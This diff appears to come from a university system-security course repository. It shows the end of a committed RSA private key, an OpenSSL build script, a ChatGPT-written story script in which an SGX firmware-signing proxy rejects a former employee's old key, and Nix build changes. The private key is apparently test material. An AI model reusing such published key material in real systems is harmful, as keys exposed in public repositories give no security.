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
+-----END RSA PRIVATE KEY-----

Assignment 7 - SGX Hands-on/src/setup

@@ -0,0 +1,16 @@
+#!/bin/bash
+
+# download latest release
+wget -O /tmp/openssl-3.3.1.tar.gz https://github.com/openssl/openssl/releases/download/openssl-3.3.1/openssl-3.3.1.tar.gz
+
+# unpack source
+tar -xzvf /tmp/openssl-3.3.1.tar.gz -C /home/syssec/
+cd /home/syssec/openssl-3.3.1
+
+# build from source with static linking options
+./config --prefix=/usr/local/openssl-3.3.1 --static -static -fPIC
+make -j6
+
+# install openssl
+sudo make install
+

Assignment 7 - SGX Hands-on/src/simulate

@@ -0,0 +1,74 @@
+#!/usr/bin/env sh
+set -u
+
+# colors
+RED='\033[0;31m'
+GREEN='\033[0;32m'
+NC='\033[0m'
+
+# helper function
+print_and_execute() {
+    local color=$1
+    shift
+    echo "⚡ ${color}$@${NC}"
+    eval "$@"
+    return $?
+}
+
+# setup 
+TMP=/tmp/signatureproxy
+KEYDIR=../employee_keys
+mkdir -p $TMP
+
+########### Disclaimer #################
+# Die Story wurde von ChatGPT erstellt #
+########################################
+
+# simulation
+print_and_execute "$GREEN" "./signatureproxy proxysetup -pkey $TMP/proxy_private.bin > $TMP/proxy_public.pem"
+
+echo "At Embedded Solutions Inc., security was paramount. The company specialized in creating firmware for a wide range of embedded devices used in critical industries, from medical equipment to automotive systems. To protect their firmware, they had implemented a sophisticated signature proxy system using Intel's SGX enclave technology."
+echo "One bright morning, Alice, a senior engineer known for her meticulous work, arrived at her desk. She was tasked with signing the latest stable version of a critical medical device firmware that she had finished the previous night."
+
+echo "With the proxy ready, Alice compiled their latest stable version. This firmware would soon run on life-saving medical devices, a fact that weighed heavily on her as she meticulously checked every detail."
+print_and_execute "$GREEN" "dd if=/dev/urandom of=$TMP/firmware.bin bs=1M count=1 2> /dev/null"
+
+echo "Once satisfied with the build, Alice signed the firmware with her private key as an assurance to the company that the firmware came from a trusted source."
+print_and_execute "$GREEN" "./signatureproxy employee -ekey $KEYDIR/alice_private.pem -firm $TMP/firmware.bin > $TMP/signature_alice.der"
+
+echo "The firmware, along with Alice's signature, was then sent to the signature proxy. The proxy, acting as a vigilant guardian, verified Alice's signature against a list of authorized keys. Her identity confirmed, the proxy resigned the firmware with its own private key."
+print_and_execute "$GREEN" "cat $TMP/signature_alice.der | ./signatureproxy proxy -pkey $TMP/proxy_private.bin -epub $KEYDIR/alice_public.pem -firm $TMP/firmware.bin > $TMP/signature_for_alice.der"
+
+echo "The final step was crucial: verifying the signed firmware to ensure it was ready for deployment. The team couldn't afford any mistakes, knowing the firmware's destination were life-saving medical devices."
+print_and_execute "$GREEN" "cat $TMP/signature_for_alice.der | ./signatureproxy embedded -ppub $TMP/proxy_public.pem -firm $TMP/firmware.bin > /dev/null"
+
+echo "\nMeanwhile, in a dark corner of the tech world, Oskar, a disgruntled former employee, was plotting his revenge. He had managed to get his hands on an old private key. With malicious intent, he set out to sign a modified version of the firmware, hoping to bypass the security measures."
+
+echo "Oskar, driven by his vendetta, signed the firmware with his old private key, intending to trick the system and cause havoc."
+print_and_execute "$RED" "./signatureproxy employee -ekey $KEYDIR/oskar_private.pem -firm $TMP/firmware.bin > $TMP/signature_oskar.der"
+
+echo "With a smug grin, he tried to pass his signed firmware through the proxy. But the system was built to withstand such threats. The proxy, ever vigilant, scrutinized the incoming data."
+print_and_execute "$RED" "cat $TMP/signature_oskar.der | ./signatureproxy proxy -pkey $TMP/proxy_private.bin -epub $KEYDIR/oskar_public.pem -firm $TMP/firmware.bin > $TMP/signature_for_oskar.der"
+status=$?
+if [ $status -eq 0 ]; then
+    echo "Oskar's firmware signing attempt seemed successful. :("
+    exit 1
+else
+    echo "The proxy detected Oskar's unauthorized key and rejected the firmware. His malicious intent was thwarted, and the firmware remained secure."
+fi
+
+echo "With Oskar's attempt foiled, Embedded Solutions could breathe a sigh of relief. The integrity of their firmware was intact, safeguarded by the robust security measures of their signature proxy system. Alice and her team could continue their work with confidence, knowing that their systems were safe from internal and external threats."
+
+echo "\nIn the meantime, Bob, another trusted engineer, was working on a firmware update for the automotive sector. This update was equally critical and needed the same level of security scrutiny."
+print_and_execute "$GREEN" "dd if=/dev/urandom of=$TMP/firmware2.bin bs=1M count=1 2> /dev/null"
+
+echo "Bob finished his work and, following the security protocols, signed the new firmware with his private key."
+print_and_execute "$GREEN" "./signatureproxy employee -ekey $KEYDIR/bob_private.pem -firm $TMP/firmware2.bin > $TMP/signature_bob.der"
+
+echo "The signed firmware was then sent to the signature proxy. As expected, the proxy verified Bob's signature and signed the firmware with its private key, ensuring the update's authenticity."
+print_and_execute "$GREEN" "cat $TMP/signature_bob.der | ./signatureproxy proxy -pkey $TMP/proxy_private.bin -epub $KEYDIR/bob_public.pem -firm $TMP/firmware2.bin > $TMP/signature_for_bob.der"
+
+echo "The final verification process confirmed that Bob's firmware update was secure and ready for deployment."
+print_and_execute "$GREEN" "cat $TMP/signature_for_bob.der | ./signatureproxy embedded -ppub $TMP/proxy_public.pem -firm $TMP/firmware2.bin > /dev/null"
+
+echo "This concludes the story of Alice, Oskar, Bob, and the secure firmware signing process at Embedded Solutions Inc. Through the diligent efforts of trusted employees and advanced security technology, the integrity and safety of their embedded devices were preserved."

flake.nix

@@ -7,6 +7,7 @@
     assignments = [
       "Assignment 4 - Protokollsicherheit (Praxis)"
       "Assignment 5 - Software Security - Teil 1"
+      "Assignment 6 - Software Security - Teil 2"
     ];
 
     forAllSystems = function:
@@ -15,7 +16,7 @@
         "aarch64-linux"
       ] (system: function {
         inherit system;
-        pkgs = nixpkgs.legacyPackages.${system};
+        pkgs = import nixpkgs { inherit system; overlays = [ self.overlay ]; };
       });
 
     forAllAssignments = function:
@@ -24,8 +25,12 @@
     texPackages = pkgs: pkgs.texlive.combine {
         inherit (pkgs.texlive) scheme-full latex-bin latexmk;
       };
+
+    lastModifiedDate = self.lastModifiedDate or self.lastModified or "19700101";
+    version = builtins.substring 0 8 lastModifiedDate;
   in rec {
-    packages = forAllSystems({system, pkgs}: forAllAssignments(assignment: let
+    packages = 
+      forAllSystems({system, pkgs}: forAllAssignments(assignment: let
         tex = texPackages pkgs;
         document = pkgs.stdenvNoCC.mkDerivation rec {
           name = assignment;
@@ -47,6 +52,7 @@
         };
       in document) // {
         default = packages.${system}.${pkgs.lib.last assignments};
+        "Assignment 7" = pkgs.signatureProxy;
       });
 
     devShells = forAllSystems({pkgs, ...}: let
@@ -57,7 +63,40 @@
       };
     });
 
-    hydraJobs = packages;
+    overlay = final: prev: with final; {
+        signatureProxy = stdenv.mkDerivation {
+            pname = "SignatureProxy";
+            inherit version;
+
+            src = ./7-SGX_Hands-on;
+
+            buildScript = ''
+                make
+            '';
+
+            installScript = ''
+                mkdir -p $out/bin
+                cp app $out/bin
+                cp enclave.so $out/bin
+            '';
+
+            nativeBuildInputs = with pkgs; [
+                clang
+                glibc
+                sgx-sdk
+                gmp.dev
+                openssl.dev
+                pkg-config
+            ];
+
+            env = {
+                SGX_SDK = pkgs.sgx-sdk;
+                SGX_MODE = "SIM";
             };
+        };
+    };
+
+  };
+
 }